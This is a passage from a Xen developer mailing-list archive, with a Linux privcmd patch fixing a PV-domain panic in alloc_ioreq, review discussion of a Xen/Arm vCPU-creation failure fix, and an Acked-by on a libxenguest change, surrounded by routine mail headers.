X-purgate-ID: tlsNG-d62444/1783499414-810D41E0-D6362B61/0/0
X-purgate-type: clean
X-purgate-size: 2918

Starting a virtio backend in a PV domain would panic the kernel in
alloc_ioreq, trying to dereference vma->vm_private_data as a pages
pointer when in reality it stayed as PRIV_VMA_LOCKED.

Avoid crashing by handling the PRIV_VMA_LOCKED case in alloc_ioreq.
PV support requires mapping the virtio ioreq page explicitly into
the kernel's page tables, so do it on-demand when PRIV_VMA_LOCKED
is seen.

Signed-off-by: Val Packett <val@invisiblethingslab.com>
---

Hi. This was previously submitted as an RFC[1] but got no feedback
in many many months.. Let's try again :)

This is all that's needed to make the ioeventfd facility work with
a PV dom0, which we still use in Qubes OS (yeah yeah we should move
to PVH dom0 but there are still regressions to debug there).
So we would really like to get this merged.

[1]: https://lore.kernel.org/all/20251126062124.117425-1-val@invisiblethingslab.com/

Thanks,
~val

---
 drivers/xen/privcmd.c | 34 ++++++++++++++++++++++++++++++++--
 1 file changed, 32 insertions(+), 2 deletions(-)

diff --git a/drivers/xen/privcmd.c b/drivers/xen/privcmd.c
index 725a49a0eee7..05775a518948 100644
--- a/drivers/xen/privcmd.c
+++ b/drivers/xen/privcmd.c
@@ -833,6 +833,8 @@ static long privcmd_ioctl_mmap_resource(struct file *file,
 			DOMID_SELF : kdata.dom;
 		int num, *errs = (int *)pfns;
 
+		vma->vm_pgoff = pfns[0]; /* store the acquired pfn for ioeventfd access */
+
 		BUILD_BUG_ON(sizeof(*errs) > sizeof(*pfns));
 		num = xen_remap_domain_mfn_array(vma,
 						 kdata.addr & PAGE_MASK,
@@ -1264,10 +1266,38 @@ struct privcmd_kernel_ioreq *alloc_ioreq(struct privcmd_ioeventfd *ioeventfd)
 		goto error_kfree;
 	}
 
-	pages = vma->vm_private_data;
-	kioreq->ioreq = (struct ioreq *)(page_to_virt(pages[0]));
 	mmap_write_unlock(mm);
 
+	/* In a PV domain, we must manually map the pages into the kernel */
+	if (vma->vm_private_data == PRIV_VMA_LOCKED) {
+		/* This should never ever happen outside of PV */
+		if (WARN_ON_ONCE(!xen_pv_domain())) {
+			ret = -EINVAL;
+			goto error_kfree;
+		}
+
+		/* xen_remap_domain_mfn_array only really needs the mm */
+		struct vm_area_struct kern_vma = {
+			.vm_flags = VM_PFNMAP | VM_IO,
+			.vm_mm = &init_mm,
+		};
+		xen_pfn_t pfn = vma->vm_pgoff;
+		int num, err;
+
+		/* Don't provide NULL as the errors array as that results in pfn increment */
+		num = xen_remap_domain_mfn_array(&kern_vma, (unsigned long)pfn_to_kaddr(pfn),
+						&pfn, 1, &err, PAGE_KERNEL, ioeventfd->dom);
+		if (num < 0) {
+			ret = num;
+			goto error_kfree;
+		}
+
+		kioreq->ioreq = (struct ioreq *)(pfn_to_kaddr(pfn));
+	} else {
+		pages = vma->vm_private_data;
+		kioreq->ioreq = (struct ioreq *)(page_to_virt(pages[0]));
+	}
+
 	ports = memdup_array_user(u64_to_user_ptr(ioeventfd->ports),
 				  kioreq->vcpus, sizeof(*ports));
 	if (IS_ERR(ports)) {
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 09:06:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 09:06:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356690.1611233 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOEs-0008WM-Kh; Wed, 08 Jul 2026 09:06:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356690.1611233; Wed, 08 Jul 2026 09:06:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOEs-0008WF-Hv; Wed, 08 Jul 2026 09:06:42 +0000
Received: by outflank-mailman (input) for mailman id 1356690;
 Wed, 08 Jul 2026 09:06:41 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ayan.kumar.halder@amd.com>) id 1whOEq-0008Vz-OG
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 09:06:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whOEo-009DIS-V6
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:06:38 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a4e130a-2eae-0a2a0a5409dd-0a2a450aa240-38
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:06:38 +0200
Received: from [52.101.57.53]
 (helo=BN8PR05CU002.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a4e131c-e40e-0a2a450a0019-34653935216b-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:06:38 +0200
Received: from BLAPR03CA0112.namprd03.prod.outlook.com (2603:10b6:208:32a::27)
 by PH7PR12MB7428.namprd12.prod.outlook.com (2603:10b6:510:203::9)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Wed, 8 Jul 2026
 09:06:31 +0000
Received: from BL02EPF0001A105.namprd05.prod.outlook.com
 (2603:10b6:208:32a:cafe::8c) by BLAPR03CA0112.outlook.office365.com
 (2603:10b6:208:32a::27) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.9 via Frontend Transport; Wed, 8
 Jul 2026 09:06:30 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 BL02EPF0001A105.mail.protection.outlook.com (10.167.241.137) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 09:06:30 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 04:06:30 -0500
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 04:06:29 -0500
Received: from [10.71.198.170] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Wed, 8 Jul 2026 04:06:28 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=RKbza9WoJxPBVBZ86/fIWDlcKc7NBJFs6P2kl+0t1xDTBM4aa4nb93iByvRSza0W/xu1YZMuTfg7LyEez1Mlqj2oT9bHUsWfj9dmn4hgPwEh3eNW9psTi1/HGMtI2v52FohnUrdN+G/6WGvGMgKUpPCpl63hrXripz5F20ToRojDmh8vPFE7Ywbf0clIeiUcpAYz7O0I+dy2CHQmrGrl17KlBjurRsjmJXtOigYCTbQNt4Tlih9ceJGZawTVAE49AETG0XMyQTo+oRKGfncTV94SMkyAHyb6rPikSBvT9oPErpIC+JY3AqT2FxjSZ4FWbvi4BSJs+o4ZatKqhIE6Mg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=DcNKVrYsl3s9tz6Ol52S5/2c325b4b5xNy65t5Q2OLc=;
 b=ypU5apBB6RnaY9tPqnjwVPNpn3T84oozxK9PbpWuGX3EVOewZtqFThRv1QYMmIzUG9Y19D2lNA+Jj1cyLBOP/FnAqoN7LmPjnLb4WY2tYTyY8xT+5aGRxjLoKkgdu461Z/465VSaYyFdTNXrE625OeHp9OI5hcYqp2oF7+82RpjwVykat+hXKKE91vS+X3FtE2PzyLdFKcuk6QmiKbRPotC7oU6+f7JjOMwBz8VSrQIKt6RnTnoLaFTRPXEYxulxm9SGm4OLKLRcAAh+UU7M5lD1jxGvoLwm1jlUNg6LCD6GH3CGBnxYpvPEcxB0XTfda6uAnCbZncu83VHk0dJ6YQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=DcNKVrYsl3s9tz6Ol52S5/2c325b4b5xNy65t5Q2OLc=;
 b=hu3tdCtu9kcweucn0So+hxdPIHq2aYekh5UeamHM9lhzK8wBTcAKf3BKBS3gxvC7a4WPeM+zNjeRI2S0FHxTMbrh9ep15ich43qy9bAdIeTWYzvVVGvOJYNPSYBrB+qqU+oLWkKp3N/vjTSIjvfjF4ew1biZ25toKuo0GaiDQrA=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <197f5208-b9ca-424d-a7e6-0b872e6511f1@amd.com>
Date: Wed, 8 Jul 2026 10:06:28 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [for-4.22][PATCH] xen/arm: Fail domain construction if a
 secondary vCPU cannot be created
To: Michal Orzel <michal.orzel@amd.com>, <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>, <ayan.kumar.halder@amd.com>
References: <20260708074919.33381-1-michal.orzel@amd.com>
Content-Language: en-US
From: "Halder, Ayan Kumar" <ayankuma@amd.com>
In-Reply-To: <20260708074919.33381-1-michal.orzel@amd.com>
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BL02EPF0001A105:EE_|PH7PR12MB7428:EE_
X-MS-Office365-Filtering-Correlation-Id: 787c9b82-8cf7-4f6b-8653-08dedcd03352
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|376014|23010399003|82310400026|36860700016|18002099003|22082099003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	14TsYVlJbI71KBndwwQLt2hnP3eij0ptuXXwFq7+fggmxqouy/IxQZcPe79r7E2tpRwCfJ1+FVJz+co56hWWoDEjHdL2ECsbSQ4yPqKljPCCsyei8jsoksVilartlZFyw1rSTDMq8ihPAX8m+CljsnnQV8Xk6TCSBi3iszMte+tEIeynj6/vbmK7k824V+r7+Vtubk55ABhkXsvxzRae0TMYdlDbrHtOAU2KMGS/dR2j8wZPLbCvTBG2eqnpXXNljoHK/DQZ+Nv2e0ureVBdV8tzhAFcMER9iNtlC6GJm56NR2oW+O7HVjdH8FuoZ64hRU/PFgBFcd83Sl5KDI5shEZkGOcmHRVk3tJEDjYnjUumPqiMWEWTEmib9Bv0Wv3/yOksAqMOnHChW8VQE7a5j3qGycZlkj2XY60ia9+CmPLuDkzP8qeFvWZgZqxLt0RFzKqdWO+TKMYkwiAkJ2GkTl+b6kjLt3bMD91coItQpDoi3fntwRctPozA6Ehw+bzrAXvv9t4u89wjUafHzLaBTYNIV1L6L4kSwnNFui0fTuTuA1o/Yaa6rsmsAKPR2yXUXQBqPRf3cvySyz3W5OymB6fP4gMukP5n98mIrvv6j7wyN2ur0Ns8zZh5CTy/ohtOh6y1lTwY0QQRf4A4+JYHJvshcWFTd5mI6dUiEauzCUv8xXEKIMvff4frRGglfqddCGuIA62i2yuA8srV7hoafw==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(1800799024)(376014)(23010399003)(82310400026)(36860700016)(18002099003)(22082099003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	sSa+5hUYaL3lveyAjSa7J6GoCx4kuDeKS0tbSibRfV030MqSczIxeHBE5YVX6CE3cGNnKhT6RKg7zEV41T7DiMZET+YupHffqbIjzo752KKA/1kLnjZJ/g+W78VWl/wP5f4OBqwhfZe/ZM+K4uXRqx4BY0EYO92RkN53hRh1ndqrkuw+sITPETEsJig/inr+XuolOnbmOZCXfCILek7w1i+/4U+ijHt6sF8ZP5c42Nfr4Vk19H/k7yTuXCFGFr6PQF7vjg6bSY2y86xhRUASg6WJUkoHzMfEb6ukqrnkasn4K+9Omfubpo/RvFiPe6eRjaN8CfHg8/rUOnp+zU6+roPYPLJsWhHzSlR43nHJ+Zgpx6najk/0i1EbCgweBH8h3xLO9r1sm9pnHjmRNlC/QfncNvJSAxGhwd4vBAY91OIs7jnHcSUpWAgT0OTumqTg
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 09:06:30.5156
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 787c9b82-8cf7-4f6b-8653-08dedcd03352
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BL02EPF0001A105.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH7PR12MB7428
X-purgate-ID: tlsNG-4011c0/1783501598-D4D2BDDE-10443BFE/0/0
X-purgate-type: clean
X-purgate-size: 2220

Hi MIchal,

Nice catch. Few questions.

On 08/07/2026 08:49, Michal Orzel wrote:
> construct_domain() creates the secondary vCPUs in a loop, but on a
> vcpu_create() failure it only prints a message and breaks out of the
> loop returning success. As a result the domain can be constructed
> with fewer vCPUs than d->max_vcpus, leaving NULL holes in d->vcpu[]
> below max_vcpus.
>
> When the guest probes the redistributor of a vCPU that was never created,
Shouldn't the guest check how many vCPUs were created and probe the ones 
that were created ?
> get_vcpu_from_rdist() only checks vcpu_id against d->max_vcpus and then
> dereferences the NULL d->vcpu[vcpu_id], resulting in a data abort.
>
> Return an error instead of breaking out of the loop. Both callers
> (construct_domU() and construct_hwdom()) already propagate a negative
> return value and fail domain construction, which is the correct
> behaviour: a domain that cannot provide the requested number of vCPUs
> should not be brought up.

I see your reasoning.

Alternatively it can be a design choice. Xen does not commit to create 
the max_vcpus that was requested.

If Xen is unable to create any vCPU, it should abort domain creation.

If Xen creates lesser number of vCPUs than requested by max_vcpus, it 
can just print a warning and carry on.

In that case it should be the guest's responsibility to check the number 
of CPUs that it has.

- Ayan

>
> Fixes: 6b0e8e43348a ("xen/arm: allocate secondaries dom0 vcpus")
> Signed-off-by: Michal Orzel <michal.orzel@amd.com>
> ---
>   xen/arch/arm/domain_build.c | 2 +-
>   1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/xen/arch/arm/domain_build.c b/xen/arch/arm/domain_build.c
> index 550617f152bb..b46574fd32aa 100644
> --- a/xen/arch/arm/domain_build.c
> +++ b/xen/arch/arm/domain_build.c
> @@ -1847,7 +1847,7 @@ int __init construct_domain(struct domain *d, struct kernel_info *kinfo)
>           if ( vcpu_create(d, i) == NULL )
>           {
>               printk("Failed to allocate d%dv%d\n", d->domain_id, i);
> -            break;
> +            return -EINVAL;
>           }
>   
>           if ( is_64bit_domain(d) )


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 09:07:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 09:07:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356696.1611241 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOFX-0000WI-TN; Wed, 08 Jul 2026 09:07:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356696.1611241; Wed, 08 Jul 2026 09:07:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOFX-0000WB-QB; Wed, 08 Jul 2026 09:07:23 +0000
Received: by outflank-mailman (input) for mailman id 1356696;
 Wed, 08 Jul 2026 09:07:22 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f40fb48f800080a8@swg.vates.tech>)
 id 1whOFW-0000W1-4A
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 09:07:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whOFV-00FqMN-3c
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:07:21 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f40fb48f800080a8@swg.vates.tech>)
 id 6a4e133b-5cb7-0a2a0a5109dd-0a2a4506ec58-34
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:07:20 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f40fb48f800080a8@swg.vates.tech>)
 id 6a4e1348-08de-0a2a45060019-b9ff1c129907-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:07:20 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f40fb48f800080a8.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 09:07:17 +0000
Received: from l14 (lfbn-lyo-1-414-55.w2-7.abo.wanadoo.fr [2.7.24.55])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 2CDCB81F66;
 Wed,  8 Jul 2026 11:07:17 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=Etdm/WNWXhvVS0hxubyuPcVuqfSPsFcfKVqkhhCZa8s=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=ov12go/QGfWRIwqXV+z/4c2v8Qd/bNbrb2aW4fhvN35DNQw4P+oxStLiNyUbY6HlGdWM01kps
 KRPiFArnt6i5teLPN7aDX9iuIKd+4+Y2gDdPVWXH5L1xCf+yyZdzMNcB1DFRP2VLN/i7CnuDRy3
 k0U0oFNm/PCJgspwo7ikEvTsYnKB15ChJU6BPnDp4Djqizyg5J/jJbeoUdpD99YooymF4EQSONg
 kVigBTm0uJYef04hdJoG/Q4f3h3WWkmB9I9IhNJIv8I1Hx0i7m7na7BWBknBPgMEVXDn7yXl74/
 hyABfiJzhQWhYwp/D5FG5jcP/08jPF03/FFtJfSd8Oxg==
X-Zone-Loop: d7ec5fa8f0a535508fa2f6b3df34563b0fadbf2d67e3
x-campaign-type: default
x-transaction-id: cc419805-d7cb-4a48-89e0-b52462ae79fb
x-swg-uid: 01-c3321956-4051-4f6b-9b34-e287da15669e
X-Mailer: Sweego
Message-ID:
 <1783501637.8631fc262581453bbf619ec5b2062170.19f40fb48f800080a8@vates.tech>
x-swg-bid: 1783501637.8631fc262581453bbf619ec5b2062170.19f40fb48f800080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 11:07:16 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: Re: [PATCH v6 01/16] libs/guest: Reduce number of parts in
 write_split_record
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-2-frediano.ziglio@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <20260619130501.272832-2-frediano.ziglio@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.3e0.e0b88e70214e28ac.19f40fb46cb.78d742502f8a6836=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783501637323
X-purgate-ID: tlsNG-16d1c6/1783501640-F89E968D-EC2B45A2/0/0
X-purgate-type: clean
X-purgate-size: 1112

---=Part.3e0.e0b88e70214e28ac.19f40fb46cb.78d742502f8a6836=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Fri, Jun 19, 2026 at 02:04:46PM +0100, Frediano Ziglio wrote:
> Small optimization=2E
> There's no much sense to split the header in 2 pieces, it will
> just take more time and space to reassemble them in the final
> buffer=2E
> This also avoids truncating combined_length to 32 bit in case of
> 64 bit machines potentially avoiding following record_length check
> (it could still be truncated writing it in xc_sr_rhdr structure
> but the following check will catch it)=2E
> The function become more coherent with following read_record
> function=2E
>=20
> Signed-off-by: Frediano Ziglio <frediano=2Eziglio@citrix=2Ecom>
> Reviewed-by: Roger Pau Monn=C3=A9 <roger=2Epau@citrix=2Ecom>

Acked-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.3e0.e0b88e70214e28ac.19f40fb46cb.78d742502f8a6836=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 09:08:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 09:08:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356705.1611250 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOGM-00019H-8C; Wed, 08 Jul 2026 09:08:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356705.1611250; Wed, 08 Jul 2026 09:08:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOGM-00019A-5M; Wed, 08 Jul 2026 09:08:14 +0000
Received: by outflank-mailman (input) for mailman id 1356705;
 Wed, 08 Jul 2026 09:08:13 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f40fc185300080a8@swg.vates.tech>)
 id 1whOGL-000190-2E
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 09:08:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whOGK-009DrZ-F5
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:08:12 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f40fc185300080a8@swg.vates.tech>)
 id 6a4e137a-5cb7-0a2a0a5109dd-0a2a4507ba92-20
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:08:12 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f40fc185300080a8@swg.vates.tech>)
 id 6a4e137b-9c8e-0a2a45070019-b9ff1c239959-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:08:12 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f40fc185300080a8.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 09:08:10 +0000
Received: from l14 (lfbn-lyo-1-414-55.w2-7.abo.wanadoo.fr [2.7.24.55])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 73FCD81EE5;
 Wed,  8 Jul 2026 11:08:10 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
